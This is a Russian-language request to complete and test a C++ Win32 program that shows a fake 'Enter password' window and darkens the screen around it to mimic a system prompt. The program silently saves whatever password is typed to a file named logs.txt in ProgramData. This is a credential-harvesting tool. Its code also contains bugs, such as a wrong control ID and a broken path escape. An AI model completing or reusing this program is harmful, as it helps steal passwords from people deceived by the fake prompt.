Доделай мой код:
Сделай проверки на поля, проверки на наличие пароля в полях перед нажатием на ввод.
Адоптируй и проверь код на работоспособность.


#include <windows.h>
#include <fstream>
#include <shlobj.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{
	case WM_CREATE:
		// Создание окна ввода пароля
		CreateWindow(TEXT("EDIT"), NULL, WS_VISIBLE | WS_CHILD | WS_BORDER | ES_PASSWORD,
			20, 20, 300, 40, hwnd, NULL, NULL, NULL);

		// Создание окна для подтверждения пароля
		CreateWindow(TEXT("EDIT"), NULL, WS_VISIBLE | WS_CHILD | WS_BORDER | ES_PASSWORD,
			20, 80, 300, 40, hwnd, NULL, NULL, NULL);

		break;

	case WM_COMMAND:
		if (LOWORD(wParam) == 1) // Кнопка "Ввод"
		{
			// Получение дескриптора окна ввода пароля
			HWND hPassword = GetDlgItem(hwnd, 1);

			// Получение длины введенных символов
			int length = GetWindowTextLengthW(hPassword);

			// Выделение памяти для строки пароля
			wchar_t* password = new wchar_t[length + 1];

			// Получение введенного пароля
			GetWindowTextW(hPassword, password, length + 1);

			// Получение пути к папке ProgramData
			wchar_t programDataPath[MAX_PATH];
			if (SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_COMMON_APPDATA, NULL, 0, programDataPath)))
			{
				// Создание полного пути до файла пароля
				wchar_t passwordFilePath[MAX_PATH];
				wcscpy_s(passwordFilePath, programDataPath);
				wcscat_s(passwordFilePath, L"\logs.txt");

				// Сохранение пароля в файл
				std::wofstream outfile(passwordFilePath);
				outfile << password;
				outfile.close();
			}

			delete[] password;

			// Очистка поля ввода пароля
			SetWindowTextW(hPassword, NULL);
		}
		break;

	case WM_PAINT:
		// Рисование серого окошка
	{
		PAINTSTRUCT ps;
		HDC hdc = BeginPaint(hwnd, &ps);
		HBRUSH hBrush = CreateSolidBrush(RGB(192, 192, 192)); // Серый цвет
		RECT rect;
		GetClientRect(hwnd, &rect);
		RoundRect(hdc, rect.left, rect.top, rect.right, rect.bottom, 10, 10); // Закругление краев
		FillRect(hdc, &rect, hBrush);
		EndPaint(hwnd, &ps);
	}
	break;

	case WM_CLOSE:
		// Закрытие окна при нажатии на "крестик"
		DestroyWindow(hwnd);
		break;

	case WM_DESTROY:
		// Выход из цикла обработки сообщений
		PostQuitMessage(0);
		break;

	default:
		// Обработка остальных сообщений
		return DefWindowProc(hwnd, msg, wParam, lParam);
	}

	return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, int nCmdShow)
{
	// Регистрация класса окна
	const wchar_t CLASS_NAME[] = L"PasswordInputWindowClass";

	WNDCLASS wc = {};
	wc.lpfnWndProc = WndProc;
	wc.hInstance = hInstance;
	wc.lpszClassName = CLASS_NAME;
	wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
	wc.hCursor = LoadCursor(NULL, IDC_ARROW);

	RegisterClass(&wc);

	// Создание окна
	HWND hwnd = CreateWindowEx(
		0, // Optional window styles
		CLASS_NAME, // Class name
		L"Введите пароль", // Window text
		WS_OVERLAPPEDWINDOW, // Window style

		// Position and size
		CW_USEDEFAULT, CW_USEDEFAULT, 340, 238,

		NULL, // Parent window
		NULL, // Menu
		hInstance, // Instance handle
		NULL // Additional application data
	);

	if (hwnd == NULL)
	{
		return 0;
	}

	// Создание кнопки "Ввод"
	CreateWindow(TEXT("BUTTON"), TEXT("Ввод"), WS_VISIBLE | WS_CHILD,
		20, 140, 300, 40, hwnd, (HMENU)1, NULL, NULL);

	// Отображение окна
	ShowWindow(hwnd, nCmdShow);

	// Затемнение экрана вокруг окна
	HWND hDesktop = GetDesktopWindow();
	HDC hDC = GetDC(hDesktop);
	RECT rect;
	GetWindowRect(hwnd, &rect);
	BitBlt(hDC, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, hDC, 0, 0, BLACKNESS);

	// Цикл обработки сообщений
	MSG msg = {};

	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return msg.wParam;
}